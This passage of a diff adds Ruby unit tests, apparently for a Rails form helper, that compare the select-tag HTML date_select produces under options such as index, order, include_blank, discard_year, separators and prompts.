+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", { order: [ :month, :year ] }, disabled: true)
+  end
+
+  def test_date_select_within_fields_for
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    output_buffer = fields_for :post, @post do |f|
+      concat f.date_select(:written_on)
+    end
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n</select>\n}.dup
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option selected="selected" value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n</select>\n}
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option selected="selected" value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n</select>\n}
+
+    assert_dom_equal(expected, output_buffer)
+  end
+
+  def test_date_select_within_fields_for_with_index
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+    id = 27
+
+    output_buffer = fields_for :post, @post, index: id do |f|
+      concat f.date_select(:written_on)
+    end
+
+    expected = %{<select id="post_#{id}_written_on_1i" name="post[#{id}][written_on(1i)]">\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n</select>\n}.dup
+    expected << %{<select id="post_#{id}_written_on_2i" name="post[#{id}][written_on(2i)]">\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option selected="selected" value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n</select>\n}
+    expected << %{<select id="post_#{id}_written_on_3i" name="post[#{id}][written_on(3i)]">\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option selected="selected" value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n</select>\n}
+
+    assert_dom_equal(expected, output_buffer)
+  end
+
+  def test_date_select_within_fields_for_with_blank_index
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+    id = nil
+
+    output_buffer = fields_for :post, @post, index: id do |f|
+      concat f.date_select(:written_on)
+    end
+
+    expected = %{<select id="post_#{id}_written_on_1i" name="post[#{id}][written_on(1i)]">\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n</select>\n}.dup
+    expected << %{<select id="post_#{id}_written_on_2i" name="post[#{id}][written_on(2i)]">\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option selected="selected" value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n</select>\n}
+    expected << %{<select id="post_#{id}_written_on_3i" name="post[#{id}][written_on(3i)]">\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option selected="selected" value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n</select>\n}
+
+    assert_dom_equal(expected, output_buffer)
+  end
+
+  def test_date_select_with_index
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+    id = 456
+
+    expected = %{<select id="post_456_written_on_1i" name="post[#{id}][written_on(1i)]">\n}.dup
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_456_written_on_2i" name="post[#{id}][written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_456_written_on_3i" name="post[#{id}][written_on(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", index: id)
+  end
+
+  def test_date_select_with_auto_index
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+    id = 123
+
+    expected = %{<select id="post_123_written_on_1i" name="post[#{id}][written_on(1i)]">\n}.dup
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_123_written_on_2i" name="post[#{id}][written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_123_written_on_3i" name="post[#{id}][written_on(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post[]", "written_on")
+  end
+
+  def test_date_select_with_different_order
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}.dup
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", order: [:day, :month, :year])
+  end
+
+  def test_date_select_with_nil
+    @post = Post.new
+
+    start_year = Time.now.year - 5
+    end_year   = Time.now.year + 5
+    expected =   %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}.dup
+    start_year.upto(end_year) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.year}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.month}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.day}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on")
+  end
+
+  def test_date_select_with_nil_and_blank
+    @post = Post.new
+
+    start_year = Time.now.year - 5
+    end_year   = Time.now.year + 5
+    expected =   %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}.dup
+    expected << "<option value=\"\"></option>\n"
+    start_year.upto(end_year) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << "<option value=\"\"></option>\n"
+    1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected << "<option value=\"\"></option>\n"
+    1.upto(31) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", include_blank: true)
+  end
+
+  def test_date_select_with_nil_and_blank_and_order
+    @post = Post.new
+
+    start_year = Time.now.year - 5
+    end_year   = Time.now.year + 5
+
+    expected = '<input name="post[written_on(3i)]" type="hidden" id="post_written_on_3i" value="1"/>' + "\n"
+    expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << "<option value=\"\"></option>\n"
+    start_year.upto(end_year) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << "<option value=\"\"></option>\n"
+    1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", order: [:year, :month], include_blank: true)
+  end
+
+  def test_date_select_with_nil_and_blank_and_discard_month
+    @post = Post.new
+
+    start_year = Time.now.year - 5
+    end_year   = Time.now.year + 5
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}.dup
+    expected << "<option value=\"\"></option>\n"
+    start_year.upto(end_year) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+    expected << "</select>\n"
+    expected << '<input name="post[written_on(2i)]" type="hidden" id="post_written_on_2i" value="1"/>' + "\n"
+    expected << '<input name="post[written_on(3i)]" type="hidden" id="post_written_on_3i" value="1"/>' + "\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", discard_month: true, include_blank: true)
+  end
+
+  def test_date_select_with_nil_and_blank_and_discard_year
+    @post = Post.new
+
+    expected = '<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="1" />' + "\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << "<option value=\"\"></option>\n"
+    1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected << "<option value=\"\"></option>\n"
+    1.upto(31) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", discard_year: true, include_blank: true)
+  end
+
+  def test_date_select_cant_override_discard_hour
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}.dup
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", discard_hour: false)
+  end
+
+  def test_date_select_with_html_options
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="selector">\n}.dup
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]" class="selector">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]" class="selector">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", {}, class: "selector")
+  end
+
+  def test_date_select_with_html_options_within_fields_for
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    output_buffer = fields_for :post, @post do |f|
+      concat f.date_select(:written_on, {}, class: "selector")
+    end
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="selector">\n}.dup
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]" class="selector">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]" class="selector">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+
+    expected << "</select>\n"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_date_select_with_separator
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}.dup
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << " / "
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << " / "
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", date_separator: " / ")
+  end
+
+  def test_date_select_with_separator_and_order
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}.dup
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << "</select>\n"
+
+    expected << " / "
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << " / "
+
+    expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", order: [:day, :month, :year], date_separator: " / ")
+  end
+
+  def test_date_select_with_separator_and_order_and_year_discarded
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}.dup
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << "</select>\n"
+
+    expected << " / "
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+    expected << %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+
+    assert_dom_equal expected, date_select("post", "written_on", order: [:day, :month, :year], discard_year: true, date_separator: " / ")
+  end
+
+  def test_date_select_with_default_prompt
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}.dup
+    expected << %{<option value="">Year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected << %{<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", prompt: true)
+  end
+
+  def test_date_select_with_custom_prompt
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}.dup
+    expected << %{<option value="">Choose year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
